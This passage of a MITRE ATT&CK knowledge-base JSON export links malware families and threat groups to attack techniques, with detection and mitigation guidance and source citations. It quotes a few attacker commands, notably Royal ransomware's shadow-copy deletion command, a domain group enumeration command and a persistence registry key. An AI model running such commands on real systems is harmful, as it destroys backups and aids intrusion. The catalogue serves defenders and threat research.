the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2021-04-16T21:43:13.711Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.(Citation: NCC Group Team9 June 2020)\t", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--532feb00-b2ba-4cf6-81e8-57750d30b039", "type": "relationship", "created": "2019-09-13T12:51:46.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."}], "modified": "2020-11-23T22:19:46.882Z", "description": "[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim\u2019s system. [Machete](https://attack.mitre.org/groups/G0095)'s main backdoor [Machete](https://attack.mitre.org/software/S0409) is also written in Python.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--533036d1-d0db-4bb1-b14c-eee83261fc66", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor script processes, such as `cscript that may be used to proxy execution of malicious files.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53339b8f-f66b-4bcc-86a8-31daaeebb0e6", "type": "relationship", "created": "2021-09-15T21:15:30.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Lokibot Jan 2021", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}], "modified": "2021-09-15T21:15:30.168Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) can search for specific files on an infected host.(Citation: Talos Lokibot Jan 2021)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53356453-2cf1-46d9-ac8f-77fc3a2274d9", "type": "relationship", "created": "2020-05-29T20:09:48.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-06-17T19:18:13.843Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used fast flux to mask botnets by distributing payloads across multiple IPs.(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--533a2f2c-6cc9-48fa-b029-17cc827e12d7", "type": "relationship", "created": "2022-03-25T00:25:48.792Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-25T00:25:48.792Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use WMI for lateral movement.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--533d9f70-6f01-4eed-a198-bf0d29586897", "type": "relationship", "created": "2020-05-18T21:01:51.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.280Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--533deac3-2f27-4256-bb11-7d68d8824d47", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-18T23:12:20.929Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect domain group information by running <code>net group /domain</code> or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5342c0fb-0f4d-456a-a7e7-525c60b7f82e", "type": "relationship", "created": "2020-06-24T17:45:50.049Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T17:45:50.049Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) can extract malware from a downloaded JPEG.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5344358d-8558-44b1-910d-cbb6d1aae714", "type": "relationship", "created": "2021-04-07T18:07:47.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "modified": "2021-04-09T15:11:37.130Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has packed ELF files into other binaries.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5344a6a5-2178-4e28-9582-393c3a17f05c", "created": "2022-03-30T14:26:51.845Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Look for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, or evidence of Discovery.", "modified": "2022-08-18T14:57:27.033Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5348c284-b5c7-4b30-a528-a9b0002ac8b9", "type": "relationship", "created": "2020-07-17T15:48:51.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:03.107Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can brute force passwords for a specified user on a single target system or across an entire network.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--534cf936-84e8-49ff-a616-90267467decd", "type": "relationship", "created": "2019-01-30T19:50:46.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.548Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) has established persistence by writing the payload to the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5359495a-f645-4315-8b74-61bfee6703f5", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor newly constructed files that may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--535b87bb-31fd-4e14-8279-c64c301e912d", "type": "relationship", "created": "2020-05-26T20:33:11.729Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-06-03T13:40:15.365Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to capture screenshots on compromised hosts.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}, {"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T18:16:03.208Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) injects itself into explorer.exe.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53608455-3b90-45b1-9006-da343efa52d4", "type": "relationship", "created": "2021-02-03T18:26:21.896Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}], "modified": "2021-02-03T18:26:21.896Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected lists of names for individuals from targeted organizations.(Citation: DOJ Iran Indictments March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5364714b-0c15-4453-9b09-7fcca3d3db01", "created": "2023-03-31T19:20:17.928Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA Royal AA23-061A March 2023", "description": "CISA. (2023, March 2). #StopRansomware: Royal Ransomware. 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Retrieved March 30, 2023.", "url": "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-08T15:20:46.275Z", "description": "[Royal](https://attack.mitre.org/software/S1073) can delete shadow copy backups with vssadmin.exe using the command `delete shadows /all /quiet`.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: CISA Royal AA23-061A March 2023)", "relationship_type": "uses", "source_ref": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5365d764-76fa-49ce-b76b-d0344322b037", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Reg", "description": "Microsoft. (2012, April 17). Reg. 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Retrieved February 28, 2022."}], "modified": "2022-02-28T16:17:59.018Z", "description": "(Citation: Sofacy DealersChoice)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5377ce7e-ae13-4902-a7f9-98e83d04808b", "created": "2023-03-26T20:39:15.856Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.270Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn processes with alternate PPIDs.(Citation: CobaltStrike Daddy May 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--538eb3a4-466e-42d0-9f12-bd9b6de0abe4", "created": "2022-09-29T16:52:41.309Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. 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Retrieved August 19, 2021."}], "modified": "2021-08-23T19:38:33.516Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) has used the Windows Crypto API to generate an AES key.(Citation: Hornet Security Avaddon June 2020)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6", "type": "relationship", "created": "2017-05-31T21:33:27.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", "source_name": "Kaspersky Carbanak"}], "modified": "2019-03-22T19:59:27.038Z", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) installs VNC server software that executes through rundll32.(Citation: Kaspersky Carbanak)", "relationship_type": "uses", "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53a0d647-a24c-43e1-ab02-7dd18e9182d2", "created": "2023-07-10T16:39:19.697Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-21T13:19:12.314Z", "description": "Log API calls to assume, create, or impersonate additional roles, policies, and permissions. Review uses of just-in-time access to ensure that any justifications provided are valid and only expected actions were taken.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53a66a44-0620-4edc-bb9d-c40cfcb17546", "type": "relationship", "created": "2022-03-23T16:57:13.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}], "modified": "2022-03-23T19:01:21.707Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used GitHub as C2, pulling hosted image payloads then committing command execution output to files in specific directories.(Citation: Lazarus APT January 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53a6a12f-04f2-445b-b733-8392ade1a7e5", "created": "2020-10-12T16:17:34.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT29", "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}, {"source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-31T19:48:33.746Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has registered algorithmically generated Twitter handles that are used for C2 by malware, such as [HAMMERTOSS](https://attack.mitre.org/software/S0037). [APT29](https://attack.mitre.org/groups/G0016) has also used legitimate web services such as Dropbox and Constant Contact in their operations.(Citation: FireEye APT29)(Citation: MSTIC NOBELIUM May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53a8ee3f-f261-46d5-a6eb-512735867ee2", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Pasam May 2012", "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}], "modified": "2020-02-11T19:38:06.236Z", "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of running processes.(Citation: Symantec Pasam May 2012)", "relationship_type": "uses", "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac", "type": "relationship", "created": "2019-07-17T20:50:44.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-07-20T21:51:46.205Z", "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.", "relationship_type": "mitigates", "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro RawPOS April 2015", "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"}, {"source_name": "Mandiant FIN5 GrrCON Oct 2016", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"}, {"source_name": "Visa RawPOS March 2015", "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.", "url": 